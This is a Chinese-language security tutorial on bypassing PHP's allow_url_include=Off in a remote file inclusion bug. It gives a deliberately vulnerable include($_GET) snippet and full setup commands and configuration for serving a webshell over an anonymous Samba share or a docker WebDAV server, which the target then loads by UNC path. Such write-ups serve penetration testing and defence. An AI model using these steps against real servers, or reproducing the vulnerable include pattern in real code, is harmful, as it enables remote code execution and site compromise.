前言

下面介绍的两个姿势都是先知群里面get到的,这里记录一下,给先知的师傅们倒茶。

绕过思路

假设我们有一个这样的代码

1
2
3
<?php
include($_GET["shell"]);
?>

我们发现通过phpinfo发现allow_url_fopen=Offallow_url_include=Off

image.png
image.png

用常规的方法直接包含一个远程文件肯定是不行的

image.png
image.png

所以我们得想办法绕过allow_url_fopen=Offallow_url_include=Off的限制

第一种姿势:利用SMB文件共享服务

对于PHP而言即使allow_url_includeallow_url_fopen都设置为Off,PHP也会加载SMB URL。所以我们可以配合SMB远程加载我们的webshell,我们同时要设置SMB共享服务器允许外部访问我们的webshell文件,所以我们需要配置一个具有匿名浏览访问权限的SMB服务器,一旦受害者尝试访问我们的SMB服务器上的webshell,我们的SMB服务器将不会请求任何凭证,受害者就会包含我们的SMB服务器上的webshell文件

SAMBA服务器配置

Samba是在Linux和UNIX系统上实现SMB协议的一个软件

安装SAMBA

1
apt-get install samba

创建SMB共享目录

1
mkdir /var/www/html/share/

配置新创建的SMB共享目录的权限

1
2
chmod 0555 /var/www/html/share/
chown -R nobody:nogroup /var/www/html/share/

清空/etc/samba/smb.conf文件中的内容

1
echo > /etc/samba/smb.conf

将下面内容粘贴到/etc/samba/smb.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/share
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重启smb服务

1
service smbd restart

然后访问一下,发现可以正常访问

image.png
image.png

\\192.168.163.128\ica\shell.php内容为:

image.png
image.png

尝试包含一波,成功包含

image.png
image.png

小结

这种方法还是比较局限的,因为这种unc只能是在windows下使用,而且国内的运营商对smb还是比较敏感的,毕竟被勒索病毒搞怕了/捂脸。。。。。

第二种姿势:利用webdav

PS:这个思路是Lz1y师傅在ph师傅小密圈提到的,tql

利用条件:依赖于Windows的webclient服务,需要在目标环境开启sc start webclient服务才能利用

用docker启动一个webdav服务器(ph师傅给的)

1
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

然后把php文件放到~/webdav/data里面

尝试包含,包含成功

image.png
image.png

注意包含的路径是//ip//webdav/shell.php而不是//ip/webdav/shell.php,至于为什么呢我也不是很清楚,如果是用浏览器直接打开的话两种方式都可以,但是不知道为啥放在php上后者的那种方式就不行了,有知道的师傅还请不吝赐教。

Reference

http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html